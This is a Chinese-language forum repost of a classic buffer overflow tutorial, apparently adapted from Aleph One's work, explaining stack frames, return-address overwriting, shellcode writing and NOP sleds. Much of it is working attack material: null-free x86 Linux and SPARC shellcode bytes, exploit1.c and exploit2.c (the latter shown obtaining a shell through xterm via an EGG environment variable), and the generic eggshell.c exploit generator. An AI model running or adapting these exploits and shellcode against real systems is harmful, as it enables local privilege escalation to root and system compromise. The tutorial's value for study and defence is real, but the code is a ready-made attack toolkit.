可能是唯一一篇gb的写overflow的文章,好像译至aleph1的那篇文章
zer9提到后我才想起来把他贴上来,呵呵
Buffer Overflow 机理剖析
使用Buffer Overflow 方法来入侵目的主机是黑客们经常采用的一种手段,本文将
几篇介绍其机理的文章作了一些加工整理, 对它的机理作出了由浅入深的剖析.
本文分为下面几个部分, 朋友们可以按照自己的兴趣选择不同的章节:
关于堆栈的基础知识
Buffer Overflow 的原理
Shell Code 的编写
实际运用中遇到的问题
附录
----------------------------------------------------------------------
----------
1. 关于堆栈的基础知识
一个应用程序在运行时,它在内存中的映像可以分为三个部分: 代码段 ,
数据段和堆栈段(参见下图). 代码段对应与运行文件中的 Text Section ,其中
包括运行代码和只读数据, 这个段在内存中一般被标记为只读 , 任何企图修改这
个段中数据的指令将引发一个 Segmentation Violation 错误. 数据段对应与运
行文件中的 Data Section 和 BSS Section ,其中存放的是各种数据(经过初始化
的和未经初始化的)和静态变量.
下面我们将详细介绍一下堆栈段.
|--------|虚存低端
||
|代码段|
||
|--------|
||
|数据段|
||
|--------|
||
|堆栈段|
||
|--------|虚存高端
堆栈是什么?
如果你学过<<数据结构>>这门课的话, 就会知道堆栈是一种计算机中经常用
到的抽象数据类型. 作用于堆栈上的操作主要有两个: Push 和 Pop , 既压入和
弹出. 堆栈的特点是LIFO(Last in , First out), 既最后压入堆栈的对象最先被
弹出堆栈.
堆栈段的作用是什么?
现在大部分程序员都是在用高级语言进行模块化编程, 在这些应用程序中,
不可避免地会出现各种函数调用, 比如调用C 运行库,Win32 API 等等. 这些调用
大部分都被编译器编译为Call语句. 当CPU 在执行这条指令时, 除了将IP变为调
用函数的入口点以外, 还要将调用后的返回地址放入堆栈. 这些函数调用往往还
带有不同数量的入口参数和局部变量, 在这种情况下,编译器往往会生成一些指令
将这些数据也存入堆栈(有些也可通过寄存器传递).
我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack F
rame).
栈帧的结构:
下面我们通过一个简单的例子来分析一下栈帧的结构.
void proc(int i)
{
int local;
local=i;
}
void main()
{
proc(1);
}
这段代码经过编译器后编译为:(以PC为例)
main:push1
call proc
...
proc:pushebp
movebp,esp
subesp,4
moveax,[ebp+08]
mov[ebp-4],eax
addesp,4
popebp
ret4
下面我们分析一下这段代码.
main:push 1
call proc
首先, 将调用要用到的参数1压入堆栈,然后call proc
proc:push ebp
mov ebp,esp
我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置
只和esp有关系,如可通过[esp+4]存取参数1. 但随着程序的运行,堆栈中放入了新
的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了. 因此, 为了便于参
数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp的原值存入堆
栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了.
sub esp,4
将esp减4,留出一个int的位置给局部变量 local 使用, local可通过[ebp-4]来存
取
moveax,[ebp+08]
mov [ebp-4],eax
就是 local=i;
add esp,4
pop ebp
ret 4
首先esp加4,收回局部变量的空间,然后pop ebp, 恢复ebp原值,最后 ret 4,从堆
栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.
不难看出,这个程序在执行proc过程时,栈帧的结构如下:
4444
[local][ebp][ret地址][参数1]内存高端
||
esp(栈顶)ebp
因此,我们可以总结出一般栈帧的结构:
..[local1][local2]..[localn][ebp][ret地址][参数1][参数2]..[参数n
]
||
esp(栈顶)ebp
了解了栈帧的结构以后,现在我们可以来看一下 Buffer overflow 的机理了.
----------------------------------------------------------------------
----------
2. Buffer Overflow 的机理
我们先举一个例子说明一下什么是 Buffer Overflow :
void function(char *str)
{
char buffer[16];
strcpy(buffer,str);
}
void main()
{
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的
字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将
长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation
Violation 错误.下面我们就来分析一下为什么会这样?
首先我们看一下未执行strcpy时堆栈中的情况:
16444
...[buffer] [ebp] [ret地址] [large_string地址]
||
espebp
当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes
,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer
后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_st
ring地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,它将返
回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空
间范围内,所以系统会报Segmentation Violation.
从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的
过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就
为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过
程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这
段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如\bin\sh),
因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的
程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事
. 因此, 这段代码一般被称为Shell Code.
下面我们就来看一下如何编写Shell Code.
----------------------------------------------------------------------
----------
3. Shell Code 的编写
下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明
)
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选
项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
----------------------------------------------------------------------
--------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for deta
ils.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation
, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
----------------------------------------------------------------------
--------
下面我们来首先来分析一下main代码中每条语句的作用:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指
针,最后为局部变量留出空间.在这里,局部变量为:
char *name[2];
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位
置.
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
将NULL放入name[1]的内存单元中, 也就是相当于:
name[1] = NULL;
对execve()的调用从下面开始:
0x8000144 <main+20>: pushl $0x0
开始将参数以逆序压入堆栈, 第一个是NULL.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
将name[]的起始地址压入堆栈
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
将字符串"/bin/sh"的地址压入堆栈
0x800014e <main+30>: call 0x80002bc <__execve>
调用execve() . call 指令首先将 EIP 压入堆栈
----------------------------------------------------------------------
--------------
现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的
CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.
从参数传递的角度来说,有些使用寄存器,有些使用堆栈.
我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Li
nux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统
的.
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同样的入口处理
0x80002c0 <__execve+4>: movl $0xb,%eax
将0xb(11)赋给eax , 这是execve()在系统中的索引号.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
将字符串"/bin/sh"的地址赋给ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
将name[]的地址赋给ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
将NULL的地址赋给edx
0x80002ce <__execve+18>: int $0x80
产生系统调用,进入核心态运行.
----------------------------------------------------------------------
--------------
看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:
leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
stringdb"/bin/sh",0
string_addrdd0
null_addrdd0
----------------------------------------------------------------------
---------------
但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程
序执行时在内存中所处的位置,所以像:
movl string_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.
解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编
码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode
的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序
编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP
的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地
址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址
加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.
----------------------------------------------------------------------
--------
经过上面的修改,我们的ShellCode变成了下面的样子:
jmp 0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0 # 2 bytes,跳转到CALL
# 1 byte, 弹出string地址
# 4 bytes,将string变为以'\0'结尾的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳转到popl %esi
----------------------------------------------------------------------
--------------
我们知道C语言中的字符串以'\0'结尾,strcpy等函数遇到'\0'就结束运行.因此为
了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有'
\0'. 下面我们就对它作最后一次改进,去掉其中的'\0':
原指令:替换为:
--------------------------------------------------------
movb$0x0,0x7(%esi)xorl %eax,%eax
movl$0x0,0xc(%esi)movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl$0xb,%eaxmovb $0xb,%al
--------------------------------------------------------
OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式
.
----------------------------------------------------------------------
--------
void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi# 1 byte
movl %esi,0x8(%esi)# 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi)# 3 bytes
movl %eax,0xc(%esi)# 3 bytes
movb $0xb,%al# 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx# 3 bytes
leal 0xc(%esi),%edx# 3 bytes
int$0x80 # 2 bytes
call -0x2d # 5 bytes
.string \"/bin/sh\"# 8 bytes
");
}
----------------------------------------------------------------------
--------
经过编译后,用gdb得到这段汇编语言的机器代码为:
\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh
现在我们可以写我们的试验程序了:
----------------------------------------------------------------------
--------
exploit1.c:
char shellcode[] =
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;
for(i=0;i<strlen(shellcode);i++) large_string[i]=shellcode[i];
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
---------------
在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode
放在large_string[]的起始位置,从而保证在BufferOverflow时,返回地址被覆盖
为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的
内容拷入buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Ove
rflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾
时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.
现在我们编译运行一下这个程序:
----------------------------------------------------------------------
--------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
----------------------------------------------------------------------
--------
OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的She
ll,这正是我们所希望看到的结果.
但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的
ShellCode发挥作用.
----------------------------------------------------------------------
----------
4. 实际运用中遇到的问题
在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷
的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出ShellC
ode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填
充large_string了.
但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shel
l Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用
什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控
制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面
所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题
.
幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆
栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因
此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.
下面就是一个打印堆栈起始地址的程序:
sp.c
----------------------------------------------------------------------
--------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
----------------------------------------------------------------------
--------
----------------------------------------------------------------------
--------
[aleph1]$ ./sp
0x8000470
[aleph1]$
----------------------------------------------------------------------
--------
上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不
实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字
节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须
要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所
以我们需要一种效率更高的方法来尽量减少我们的试验次数.
一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充
为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU
都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一
直执行直至执行到ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前
必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可
).
低端内存DDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFF高端内存
栈顶89ABCDEF0123456789ABCDEF0123456789ABCDEF栈底
bufferebpretabc
<------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^|
|___________|
现在我们就可以根据这个方法编写我们的攻击程序了.
exploit2.c
----------------------------------------------------------------------
--------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset= atoi(argv[2]);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
addr=get_sp()-offset;
printf("Using address: 0x%x\n", addr);
ptr=buff;
addr_ptr=(long *)ptr;
for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; // 填充猜测的入口地址
for(i=0;i<bsize/2;i++) buff[i]=NOP; //前半部填充NOP
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; //中间填
充Shell Code
buff[bsize-1]='\0';
memcpy(buff,"EGG=",4); //将生成的字符串保存再环境变量EGG中.
putenv(buff);
system("/bin/bash");
}
----------------------------------------------------------------------
--------
好,现在我们来试验一下这个程序的效能如何.这次的攻击目标是xterm(所有链接
了Xt Library的程序都有此缺陷). 首先确保X Server在运行并且允许本地连接.
----------------------------------------------------------------------
--------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit2 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: some arguments in previous message were lost
bash$
----------------------------------------------------------------------
--------
OK! 看来我们的程序确实很好用.如果xterm有suid-root属性,那么这个shell就是
一个具有root权限的Shell了.
----------------------------------------------------------------------
----------
Appendix A - 若干操作系统/平台上的 Shell Code
i386/Linux
----------------------------------------------------------------------
--------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
----------------------------------------------------------------------
--------
SPARC/Solaris
----------------------------------------------------------------------
--------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
----------------------------------------------------------------------
--------
SPARC/SunOS
----------------------------------------------------------------------
--------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
----------------------------------------------------------------------
----------
Appendix B - 通用 Buffer Overflow 攻击程序
shellcode.h
----------------------------------------------------------------------
--------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
----------------------------------------------------------------------
--------
eggshell.c
----------------------------------------------------------------------
--------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE
)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ]\n");
}